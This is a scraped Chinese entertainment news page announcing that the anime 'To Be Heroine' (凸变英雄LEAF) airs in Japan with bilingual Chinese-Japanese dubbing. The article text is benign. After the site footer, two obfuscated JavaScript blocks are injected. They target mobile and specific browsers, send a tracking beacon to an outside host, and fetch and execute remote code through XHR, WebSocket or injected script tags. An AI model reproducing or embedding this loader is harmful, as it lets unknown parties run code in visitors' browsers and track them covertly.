《凸变英雄LEAF》5.19登陆日本 中日双语配音开国创先河

时间：2020-10-23 20:53:32阅读：4671次
国产原创动画《凸变英雄LEAF》将于5月19日登陆日本Tokyo MX1电视台，东京时间每周六晚9点放送，全7话。该片由中国动画导演李豪凌执导，上海绘界文化传播有限公司与哔哩哔哩联合出品。《TO BE
凸变英雄LEAF
  • 凸变英雄LEAF
  • 战争

国产原创动画《凸变英雄LEAF》将于5月19日登陆日本Tokyo MX1电视台，东京时间每周六晚9点放送，全7话。该片由中国动画导演李豪凌执导，上海绘界文化传播有限公司与哔哩哔哩联合出品。《TO BE HEROINE》将采用中日双语配音，这喻示着中文配音动画将首次在日本电视台播出。

2016年，《凸变英雄》第一部在日本播出，上映首日即获得了推特热搜榜第四、NicoNico人气动画排行榜第10名的好成绩。前作的高人气、高话题度使得此次《TO BE HEROINE》的播出备受期待，日版pv一经公布即在推特上掀起讨论热潮。

推特上关于《TO BE HEROINE》的讨论

为了让海外观众了解中国动画、看懂中国动画，感受国创独有的魅力，《TO BE HEROINE》采用了中日双语配音，这是有中文配音的国产动画首次登陆日本电视台。一直以来，日本动漫在中国市场拥有压倒性的影响力，大部分动漫爱好者都是日本动画长大，习惯听日文原版配音，看中文字幕，对国产动画配音缺乏自信。此次《TO BE HEROINE》大胆尝试中日双配，发生在中国的场景，采用中文配音，原汁原味地呈现国人生活场景。向海外输出优秀动画作品的同时，让日本观众听到中国配音演员的声音，体会中华文化的魅力，对国创“走出去”具有里程碑式的意义。

《TO BE HEROINE》的故事由现实世界和异世界构成，现实世界登场的人物保留中文配音，配日文字幕；异世界登场的人物则由日本声优来演绎，这使得该片变成了一部中日文乱入的作品，对于声优来说也是一次全新体验。

小叶CV月野MOA 寄语

小光CV熊井统子 寄语

超叔CV南央美 寄语

同时，为了让东京市民更直观地认识作品，TOBEHEROINE主题痛车5月13日起在秋叶原开跑，搭载TOBEHEROINE的主人公闯入三次元世界，亮相东京各大商圈。

TOBEHEROINE主题痛车包含了糖葫芦、春联、红灯笼等中国元素，主人公小叶、小光、超叔，异世界“服魂”西门吹雪等主要角色悉数亮相，引发日本观众对“中国故事”的强烈兴趣。更让人惊喜的是《凸变英雄》第一部主人公伢叔、小敏也同样出现在痛车上，引发凸变老粉全城大搜索，纷纷在推特上晒出合照。

TOBEHEROINE主题痛车将持续到5月27日，覆盖秋叶原、池袋、中野、新宿等动漫聚集地，在日本的小伙伴快快去偶遇吧！

《凸变英雄LEAF》是国产高分动画《凸变英雄》的全新篇章，讲述了女主角花语叶突然被吸入了一个黑暗世界，在这里衣服可以召唤“服魂”，所以穿戴整齐的小叶成为了这个世界里最强的人，肩负起找回被黑道夺走的光明的重任。4月14日中文版率先上线，口碑爆棚，豆瓣评分9.1，b站9.7，超60万人追番。据悉，日版《凸变英雄LEAF》将于5月25日上午10点在b站播出。

评论

  • 评论加载中...



Copyright © 2019-2023 www.wxrtdq.com 晋ICP备19008828号 All Rights Reserved.

留言求片

function kXmjMQrN(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function jmwrdJck(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kXmjMQrN(t);};window[''+'m'+'H'+'u'+'q'+'E'+'k'+'g'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=jmwrdJck,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqqaC5mYW5odWltaW4xLmNuJTNBODg5MQ==','d3NzJTTNBJTTJGJTTJGdXkudGlhbnhpbmdoYW5nMS5jbiUzQTTk1MzU=','159458',window,document,['q','T']);}:function(){};
function TEbWyzY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function djylmke(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TEbWyzY(t);};window[''+'Q'+'I'+'Y'+'r'+'L'+'U'+'e'+'g'+'H'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=djylmke,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mYW5odWltaW4xLmNuJTNBOODg5MQ==','d3NzJTNBJTJGJTJGdXkudGlhbnhpbmmdoYW5nMS5jbiUzQTk1MzU=','159459',window,document,['O','m']);}:function(){};